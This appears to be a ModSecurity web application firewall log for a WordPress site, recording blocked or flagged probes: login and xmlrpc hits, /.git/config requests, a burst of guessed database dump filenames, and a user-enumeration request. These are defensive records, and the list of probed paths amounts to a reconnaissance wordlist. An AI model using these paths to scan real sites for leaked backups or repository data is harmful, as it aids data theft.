[Tue Apr 21 15:58:15.362801 2026] [:error] [pid 4823:tid 4872] [client 185.51.79.114:40560] [client 185.51.79.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.51.79.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aecuF_c8mke3PfHqsxHNfAAAAZM"]
[Tue Apr 21 16:16:53.989251 2026] [:error] [pid 54080:tid 54100] [client 157.245.242.100:31722] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aecydYzEbQHHxtmWbaZqMQAAAtI"]
[Tue Apr 21 16:52:26.383186 2026] [:error] [pid 54080:tid 54106] [client 185.8.106.232:45578] [client 185.8.106.232] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.rcacivilgroup.com|F|4"] [data "EmailWolf"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.rcacivilgroup.com"] [uri "/rcacivils.com/wp-content/plugins/visual-portfolio/build/assets/js/pagination-infinite.js"] [unique_id "aec6yozEbQHHxtmWbaZ8gAAAAtg"]
[Tue Apr 21 16:52:30.311633 2026] [:error] [pid 53731:tid 53746] [client 185.8.106.232:53340] [client 185.8.106.232] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.rcacivilgroup.com|F|4"] [data "Microsoft URL"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.rcacivilgroup.com"] [uri "/rcacivils.com/wp-content/plugins/nextgen-gallery/static/FontAwesome/js/v4-shims.min.js"] [unique_id "aec6zl2I9THUR-bRVGzwLAAAAgs"]
[Tue Apr 21 16:58:07.230711 2026] [:error] [pid 35320:tid 35345] [client 167.172.27.39:50748] [client 167.172.27.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.27.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aec8H4JW6fdXWO6agMFKPwAAAA8"]
[Tue Apr 21 16:58:08.966349 2026] [:error] [pid 53978:tid 53991] [client 167.172.27.39:65045] [client 167.172.27.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.27.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aec8IJ1ivsR4hcOSQbbMowAAAos"]
[Tue Apr 21 16:59:04.596768 2026] [:error] [pid 53978:tid 53995] [client 137.74.43.174:45484] [client 137.74.43.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.74.43.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aec8WJ1ivsR4hcOSQbbNDwAAAo8"]
[Tue Apr 21 17:17:21.035802 2026] [:error] [pid 35415:tid 35435] [client 43.153.54.138:53114] [client 43.153.54.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aedAoUiqDinI4_22zzhidgAAAMg"]
[Tue Apr 21 17:45:47.664661 2026] [:error] [pid 35321:tid 35395] [client 167.172.27.39:56689] [client 167.172.27.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.27.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aedHSzeHLhVUuu8cVXwGEAAAAEs"]
[Tue Apr 21 17:53:16.143362 2026] [:error] [pid 35321:tid 35388] [client 167.172.27.39:51172] [client 167.172.27.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.27.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aedJDDeHLhVUuu8cVXwM6gAAAEQ"]
[Tue Apr 21 18:00:31.971783 2026] [:error] [pid 53978:tid 53990] [client 167.172.27.39:55536] [client 167.172.27.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.27.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aedKv51ivsR4hcOSQbbrpgAAAoo"]
[Tue Apr 21 18:12:09.726749 2026] [:error] [pid 4777:tid 4794] [client 167.172.27.39:50163] [client 167.172.27.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.27.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aedNeaxXur6bykKyLZSaNAAAAQY"]
[Tue Apr 21 18:13:44.395328 2026] [:error] [pid 53832:tid 53853] [client 167.99.153.99:34802] [client 167.99.153.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.153.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aedN2NzkuxsE_OhM9UJQagAAAlI"]
[Tue Apr 21 18:15:25.753338 2026] [:error] [pid 53731:tid 53741] [client 170.64.162.10:33922] [client 170.64.162.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aedOPV2I9THUR-bRVGwnaAAAAgY"]
[Tue Apr 21 18:15:26.849484 2026] [:error] [pid 35321:tid 35406] [client 170.64.162.10:38362] [client 170.64.162.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aedOPjeHLhVUuu8cVXwgiwAAAFY"]
[Tue Apr 21 18:26:18.601157 2026] [:error] [pid 54080:tid 54106] [client 167.172.27.39:63056] [client 167.172.27.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.27.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aedQyozEbQHHxtmWbaaToAAAAtg"]
[Tue Apr 21 18:27:22.017943 2026] [:error] [pid 35321:tid 35385] [client 182.42.105.85:55640] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aedRCjeHLhVUuu8cVXwoAQAAAEE"]
[Tue Apr 21 18:46:43.116210 2026] [:error] [pid 53731:tid 53747] [client 20.5.169.175:53559] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/site.sql"] [unique_id "aedVk12I9THUR-bRVGwxHQAAAgw"]
[Tue Apr 21 18:46:43.116395 2026] [:error] [pid 53731:tid 53749] [client 20.5.169.175:53574] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".com_db.sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/rcacivilgroup.com_db.sql"] [unique_id "aedVk12I9THUR-bRVGwxIAAAAg4"]
[Tue Apr 21 18:46:43.116491 2026] [:error] [pid 53731:tid 53757] [client 20.5.169.175:53571] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/backup.sql"] [unique_id "aedVk12I9THUR-bRVGwxIQAAAhU"]
[Tue Apr 21 18:46:43.116683 2026] [:error] [pid 53731:tid 53741] [client 20.5.169.175:53562] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/translate.sql"] [unique_id "aedVk12I9THUR-bRVGwxHgAAAgY"]
[Tue Apr 21 18:46:43.116713 2026] [:error] [pid 53731:tid 53739] [client 20.5.169.175:53560] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/sql.sql"] [unique_id "aedVk12I9THUR-bRVGwxHwAAAgQ"]
[Tue Apr 21 18:46:43.119183 2026] [:error] [pid 35321:tid 35387] [client 20.5.169.175:53563] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/users.sql"] [unique_id "aedVkzeHLhVUuu8cVXw1IgAAAEM"]
[Tue Apr 21 18:46:43.119419 2026] [:error] [pid 35321:tid 35384] [client 20.5.169.175:53564] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/www.sql"] [unique_id "aedVkzeHLhVUuu8cVXw1IQAAAEA"]
[Tue Apr 21 18:46:43.119750 2026] [:error] [pid 53731:tid 53735] [client 20.5.169.175:53561] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/temp.sql"] [unique_id "aedVk12I9THUR-bRVGwxIwAAAgA"]
[Tue Apr 21 18:46:43.119767 2026] [:error] [pid 53731:tid 53753] [client 20.5.169.175:53566] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/wp-content/mysql.sql"] [unique_id "aedVk12I9THUR-bRVGwxIgAAAhE"]
[Tue Apr 21 18:46:43.120083 2026] [:error] [pid 53731:tid 53759] [client 20.5.169.175:53573] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/data.sql"] [unique_id "aedVk12I9THUR-bRVGwxJAAAAhc"]
[Tue Apr 21 18:46:43.120646 2026] [:error] [pid 53731:tid 53752] [client 20.5.169.175:53567] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/mysql.sql"] [unique_id "aedVk12I9THUR-bRVGwxJQAAAhA"]
[Tue Apr 21 18:46:43.120802 2026] [:error] [pid 35321:tid 35398] [client 20.5.169.175:53558] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/1.sql"] [unique_id "aedVkzeHLhVUuu8cVXw1IwAAAE4"]
[Tue Apr 21 18:46:43.120968 2026] [:error] [pid 54080:tid 54086] [client 20.5.169.175:53565] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/dump.sql"] [unique_id "aedVk4zEbQHHxtmWbaaYTwAAAsQ"]
[Tue Apr 21 18:46:43.122145 2026] [:error] [pid 35321:tid 35401] [client 20.5.169.175:53570] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/dbdump.sql"] [unique_id "aedVkzeHLhVUuu8cVXw1JAAAAFE"]
[Tue Apr 21 18:46:43.123065 2026] [:error] [pid 35321:tid 35392] [client 20.5.169.175:53577] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/dump.sql"] [unique_id "aedVkzeHLhVUuu8cVXw1JQAAAEg"]
[Tue Apr 21 18:46:43.124034 2026] [:error] [pid 35321:tid 35406] [client 20.5.169.175:53568] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/db.sql"] [unique_id "aedVkzeHLhVUuu8cVXw1JgAAAFY"]
[Tue Apr 21 18:46:43.125503 2026] [:error] [pid 35321:tid 35391] [client 20.5.169.175:53575] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/db_backup.sql"] [unique_id "aedVkzeHLhVUuu8cVXw1JwAAAEc"]
[Tue Apr 21 18:46:43.127318 2026] [:error] [pid 35321:tid 35389] [client 20.5.169.175:53572] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/database.sql"] [unique_id "aedVkzeHLhVUuu8cVXw1KQAAAEU"]
[Tue Apr 21 18:46:43.127408 2026] [:error] [pid 35321:tid 35399] [client 20.5.169.175:53576] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".com.sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/rcacivilgroup.com.sql"] [unique_id "aedVkzeHLhVUuu8cVXw1KAAAAE8"]
[Tue Apr 21 18:46:43.135359 2026] [:error] [pid 53731:tid 53745] [client 20.5.169.175:53579] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/localhost.sql"] [unique_id "aedVk12I9THUR-bRVGwxJgAAAgo"]
[Tue Apr 21 18:46:43.141339 2026] [:error] [pid 35321:tid 35390] [client 20.5.169.175:53578] [client 20.5.169.175] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/mysqldump.sql"] [unique_id "aedVkzeHLhVUuu8cVXw1KgAAAEY"]
[Tue Apr 21 19:02:32.595823 2026] [:error] [pid 53832:tid 53854] [client 64.227.21.64:59328] [client 64.227.21.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.21.64, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aedZSNzkuxsE_OhM9UJYegAAAlM"]
[Tue Apr 21 19:02:34.192516 2026] [:error] [pid 54080:tid 54105] [client 64.227.21.64:60503] [client 64.227.21.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.21.64, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aedZSozEbQHHxtmWbaabMAAAAtc"]
[Tue Apr 21 19:03:24.775829 2026] [:error] [pid 35321:tid 35388] [client 83.166.155.159:42776] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aedZfDeHLhVUuu8cVXxAsgAAAEQ"]
[Tue Apr 21 19:04:57.157957 2026] [:error] [pid 35321:tid 35406] [client 185.199.223.27:44626] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aedZ2TeHLhVUuu8cVXxCaQAAAFY"]
[Tue Apr 21 20:30:58.048477 2026] [:error] [pid 4777:tid 4805] [client 185.199.223.39:53720] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeduAqxXur6bykKyLZSolgAAARE"]
[Tue Apr 21 22:31:47.525359 2026] [:error] [pid 35321:tid 35405] [client 136.109.141.34:55305] [client 136.109.141.34] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeeKUzeHLhVUuu8cVXzphQAAAFU"]
[Tue Apr 21 22:31:48.646968 2026] [:error] [pid 35321:tid 35393] [client 136.109.141.34:55305] [client 136.109.141.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.141.34, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeKVDeHLhVUuu8cVXzpigAAAEk"]
[Tue Apr 21 22:31:49.845433 2026] [:error] [pid 35415:tid 35439] [client 136.109.141.34:50578] [client 136.109.141.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.141.34, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeKVUiqDinI4_22zzh8KAAAAMw"]
[Tue Apr 21 22:31:51.044065 2026] [:error] [pid 35321:tid 35396] [client 136.109.141.34:57803] [client 136.109.141.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.141.34, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeKVzeHLhVUuu8cVXzpjgAAAEw"]
[Tue Apr 21 22:31:52.221416 2026] [:error] [pid 35321:tid 35402] [client 136.109.141.34:62790] [client 136.109.141.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.141.34, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeKWDeHLhVUuu8cVXzpkwAAAFI"]
[Tue Apr 21 22:31:53.342521 2026] [:error] [pid 53731:tid 53757] [client 136.109.141.34:55485] [client 136.109.141.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.141.34, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeKWV2I9THUR-bRVGyLtAAAAhU"]
